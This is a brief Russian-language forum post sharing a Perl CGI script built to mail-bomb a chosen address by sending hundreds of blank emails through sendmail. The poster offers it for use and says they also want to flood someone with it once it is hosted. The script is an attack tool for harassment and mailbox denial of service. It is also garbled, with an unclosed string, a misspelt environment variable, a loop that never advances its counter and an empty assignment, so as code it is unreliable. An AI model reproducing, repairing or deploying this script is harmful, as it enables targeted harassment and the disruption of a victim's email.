Вот! Но тебе нужен хост с поддержкой перл а на бесплатных фунция майл вроде отключена...
#!/usr/local/bin/perl
$mailprog = '/usr/sbin/sendmail;#
$mail = '';#
$from = '';#
$file = 'bomb.txt';#
$col = 500;#
if (($ENV{QVERY_STRING} eq "new") && (-e$file)){unlink($file);}#
open (DATA, $file);#
$num = ;#
close (DATA); #
if ($num eq"") {$num = 0;}#
for ($i = 1; $i<=$col;$l++){$n = $i +$num;
open (MAIL, "|$mailprog -t");#
print MAIL "Content-Type: text/plain; charset = windows - 1251\n";
print MAIL "Subject:\n";#
print MAIL "To: $mail\n";#
print MAIL "From: $from\n\n";#
print MAIL "\n";
print MAIL "\n\n";#
close (MAIL);#
}
open (DATA, ">$file");#
print DATA $num+$col;#
close (DATA);#
print"Content-type: text/html\n\n";#
print"$num\n";#
print"\n"
#
Зы..
Если зальешь потом мне дашь я тоже флудить буду
